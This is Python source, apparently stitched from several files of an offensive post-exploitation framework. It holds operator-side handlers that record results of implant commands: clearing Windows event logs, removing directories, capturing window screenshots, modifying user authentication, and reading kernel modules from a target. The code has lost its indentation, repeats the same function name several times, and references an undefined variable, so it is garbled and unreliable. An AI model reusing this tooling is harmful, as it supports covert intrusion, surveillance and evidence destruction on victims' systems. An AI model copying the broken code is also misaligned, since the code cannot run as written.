def _handleAvailable(output, msg):
results = AvailableResult()
results.Demarshal(msg)
from mcl.object.XmlOutput import XmlOutput
xml = XmlOutput()
xml.Start('Available')
if results.available:
xml.SetText('true')
else:
xml.SetText('false')
output.RecordXml(xml)
if results.available:
return mcl.target.CALL_SUCCEEDED
else:
return mcl.target.CALL_FAILED
def DataHandlerMain(namespace, InputFilename, OutputFilename):
import mcl.imports
import mcl.data.Input
import mcl.data.Output
import mcl.msgtype
import mcl.status
import mcl.target
import mcl.object.Message
mcl.imports.ImportNamesWithNamespace(namespace, 'mca.security.cmd.eventlogclear', globals())
input = mcl.data.Input.GetInput(InputFilename)
output = mcl.data.Output.StartOutput(OutputFilename, input)
output.Start('EventLogClear', 'eventlogclear', [])
msg = mcl.object.Message.DemarshalMessage(input.GetData())
if input.GetStatus() != mcl.status.MCL_SUCCESS:
errorMsg = msg.FindMessage(mcl.object.Message.MSG_KEY_RESULT_ERROR)
moduleError = errorMsg.FindU32(mcl.object.Message.MSG_KEY_RESULT_ERROR_MODULE)
osError = errorMsg.FindU32(mcl.object.Message.MSG_KEY_RESULT_ERROR_OS)
output.RecordModuleError(moduleError, osError, errorStrings)
output.EndWithStatus(input.GetStatus())
return True
results = Result()
results.Demarshal(msg)
from mcl.object.XmlOutput import XmlOutput
xml = XmlOutput()
xml.Start('Cleared')
if len(results.target) > 0:
xml.AddAttribute('target', results.target)
xml.SetText(results.logName)
output.RecordXml(xml)
output.EndWithStatus(mcl.target.CALL_SUCCEEDED)
return True
def DataHandlerMain(namespace, InputFilename, OutputFilename):
import mcl.imports
import mcl.data.Input
import mcl.data.Output
import mcl.status
import mcl.target
import mcl.object.Message
mcl.imports.ImportNamesWithNamespace(namespace, 'mca.file.cmd.rmdir',
globals())
input = mcl.data.Input.GetInput(InputFilename)
output = mcl.data.Output.StartOutput(OutputFilename, input)
output.Start('Rmdir', 'rmdir', [])
msg = mcl.object.Message.DemarshalMessage(input.GetData())
if input.GetStatus() != mcl.status.MCL_SUCCESS:
errorMsg = msg.FindMessage(mcl.object.Message.MSG_KEY_RESULT_ERROR)
moduleError = errorMsg.FindU32(
mcl.object.Message.MSG_KEY_RESULT_ERROR_MODULE)
osError = errorMsg.FindU32(mcl.object.Message.MSG_KEY_RESULT_ERROR_OS)
output.RecordModuleError(moduleError, osError, errorStrings)
output.EndWithStatus(input.GetStatus())
return True
result = Result()
result.Demarshal(msg)
from mcl.object.XmlOutput import XmlOutput
xml = XmlOutput()
xml.Start('TargetDir')
xml.SetText('%s' % result.fullPath)
output.RecordXml(xml)
output.EndWithStatus(mcl.target.CALL_SUCCEEDED)
return True
def DataHandlerMain(namespace, InputFilename, OutputFilename):
import mcl.imports
import mcl.data.Input
import mcl.data.Output
import mcl.status
import mcl.target
import mcl.object.Message
mcl.imports.ImportNamesWithNamespace(namespace, 'mca.status.cmd.windows',
globals())
input = mcl.data.Input.GetInput(InputFilename)
output = mcl.data.Output.StartOutput(OutputFilename, input)
output.Start('Windows', 'windows', [])
msg = mcl.object.Message.DemarshalMessage(input.GetData())
if input.GetStatus() != mcl.status.MCL_SUCCESS:
errorMsg = msg.FindMessage(mcl.object.Message.MSG_KEY_RESULT_ERROR)
moduleError = errorMsg.FindU32(
mcl.object.Message.MSG_KEY_RESULT_ERROR_MODULE)
osError = errorMsg.FindU32(mcl.object.Message.MSG_KEY_RESULT_ERROR_OS)
if input.GetStatus() == ERR_INJECT_SETUP_FAILED or input.GetStatus(
) == ERR_INJECT_FAILED:
import mcl.injection.errors
output.RecordModuleError(moduleError, 0, errorStrings)
output.RecordModuleError(osError, 0,
mcl.injection.errors.errorStrings)
else:
output.RecordModuleError(moduleError, osError, errorStrings)
output.EndWithStatus(input.GetStatus())
return True
if msg.GetCount() == 0:
from mcl.object.XmlOutput import XmlOutput
xml = XmlOutput()
xml.Start('Info')
xml.SetText('Action completed')
output.RecordXml(xml)
output.EndWithStatus(input.GetStatus())
return True
rtn = mcl.target.CALL_SUCCEEDED
for entry in msg:
if entry['key'] == MSG_KEY_RESULT_BUTTON:
if _handleButtonsData(msg, output) != mcl.target.CALL_SUCCEEDED:
rtn = mcl.target.CALL_FAILED
elif entry['key'] == MSG_KEY_RESULT_SCREENSHOT:
if _handleScreenShotData(msg, output) != mcl.target.CALL_SUCCEEDED:
rtn = mcl.target.CALL_FAILED
elif entry['key'] == MSG_KEY_RESULT_WINDOW_STATION:
if _handleWindowStationData(msg,
output) != mcl.target.CALL_SUCCEEDED:
rtn = mcl.target.CALL_FAILED
elif entry['key'] == MSG_KEY_RESULT_WINDOW_INFO:
if _handleWindowsData(msg, output) != mcl.target.CALL_SUCCEEDED:
rtn = mcl.target.CALL_FAILED
else:
output.RecordError('Unhandled data key (0x%08x)' % entry['key'])
rtn = mcl.target.CALL_FAILED
output.EndWithStatus(rtn)
return True
def _handleString(output, msg):
results = StringResult()
results.Demarshal(msg)
from mcl.object.XmlOutput import XmlOutput
xml = XmlOutput()
xml.Start('String')
xml.SetText(results.str)
output.RecordXml(xml)
return mcl.target.CALL_SUCCEEDED
def DataHandlerMain(namespace, InputFilename, OutputFilename):
import mcl.imports
import mcl.data.Input
import mcl.data.Output
import mcl.status
import mcl.target
import mcl.object.Message
mcl.imports.ImportNamesWithNamespace(namespace,
'mca.zbng.cmd.authentication',
globals())
input = mcl.data.Input.GetInput(InputFilename)
output = mcl.data.Output.StartOutput(OutputFilename, input)
output.Start('Authentication', 'authentication', [])
msg = mcl.object.Message.DemarshalMessage(input.GetData())
if input.GetStatus() != mcl.status.MCL_SUCCESS:
errorMsg = msg.FindMessage(mcl.object.Message.MSG_KEY_RESULT_ERROR)
moduleError = errorMsg.FindU32(
mcl.object.Message.MSG_KEY_RESULT_ERROR_MODULE)
osError = errorMsg.FindU32(mcl.object.Message.MSG_KEY_RESULT_ERROR_OS)
if input.GetStatus() == ERR_LIBRARY_CALL_FAILED:
try:
mcl.imports.ImportWithNamespace(namespace, 'lib_exba.errors',
globals())
output.RecordModuleError(moduleError, osError, errorStrings,
True, lib_exba.errors.errorStrings)
except:
raise
output.RecordModuleError(moduleError, osError, errorStrings,
False)
else:
output.RecordModuleError(moduleError, osError, errorStrings)
output.EndWithStatus(input.GetStatus())
return True
if msg.GetCount() == 0:
output.EndWithStatus(mcl.target.CALL_SUCCEEDED)
return True
results = Result()
results.Demarshal(msg)
from mcl.object.XmlOutput import XmlOutput
xml = XmlOutput()
xml.Start('UserModified')
xml.SetText(results.user)
output.RecordXml(xml)
output.GoToBackground()
output.End()
return True
def _handleScreenShotData(msg, output):
import os
import mcl.data.env
data = msg.FindData(MSG_KEY_RESULT_SCREENSHOT)
if len(data) == 0:
output.RecordError('Invalid data for screenshot')
return mcl.target.CALL_FAILED
else:
suffix = '.unk'
for prefixData in _imgPrefixes:
matched = 0
i = 0
while i < len(prefixData['bytes']):
if i + prefixData['offset'] >= len(data):
break
if data[i + prefixData['offset']] == prefixData['bytes'][i]:
matched = matched + 1
i = i + 1
if matched == len(prefixData['bytes']):
suffix = prefixData['suffix']
break
f, path, logName = output.CreateLogFile(prefix='ScreenShot',
suffix=suffix,
subDir=SCREENSHOT_DIR,
utf8=False)
if f == None:
output.RecordError('Failed to create file for screenshot in %s' %
SCREENSHOT_DIR)
return False
try:
f.write(data)
finally:
f.close()
from mcl.object.XmlOutput import XmlOutput
xml = XmlOutput()
xml.Start('ScreenShot')
xml.AddAttribute('path', path)
xml.AddAttribute('subdir', SCREENSHOT_DIR)
xml.SetText(logName)
output.RecordXml(xml)
return mcl.target.CALL_SUCCEEDED
def _handleModuleRead(namespace, output, msg):
import os.path
result = ResultModuleRead()
result.Demarshal(msg)
f, path, logName = output.CreateLogFile(prefix='demi',
suffix='get',
subDir='DemiOutput',
utf8=False)
if f == None:
output.RecordError('Failed to create log file for 0x%08x' % results.id)
return mcl.target.CALL_FAILED
else:
try:
f.write(result.data)
f.flush()
finally:
f.close()
from mcl.object.XmlOutput import XmlOutput
xml = XmlOutput()
xml.Start('KiSuReadModuleSuccess')
xml.AddAttribute('id', '0x%08x' % result.id)
xml.AddAttribute('instance', '0x%08x' % result.instance)
xml.AddAttribute('bytes', '%u' % len(result.data))
xml.SetText(os.path.normpath('%s/%s' % (path, logName)))
output.RecordXml(xml)
import mcl.tools
verInfo = mcl.tools.GetVersion('DeMi')
if verInfo != None:
mcl.tools.RecordUsage('DeMi',
verInfo['full'],
mcl.tools.USAGE_FLAG_EXERCISED,
mcl.tools.USAGE_STATUS_SUCCESSFUL,
comments='Read module 0x%08x to 0x%08x' %
(result.id, result.instance))
return mcl.target.CALL_SUCCEEDED
def OutputError(str):
from mcl.object.XmlOutput import XmlOutput
xml = XmlOutput()
xml.Start('ErrorString')
xml.SetText(str)
OutputXml(xml)
def RecordError(self, errorStr):
from mcl.object.XmlOutput import XmlOutput
xml = XmlOutput()
xml.Start('ErrorString')
xml.SetText(errorStr)
self.RecordXml(xml)
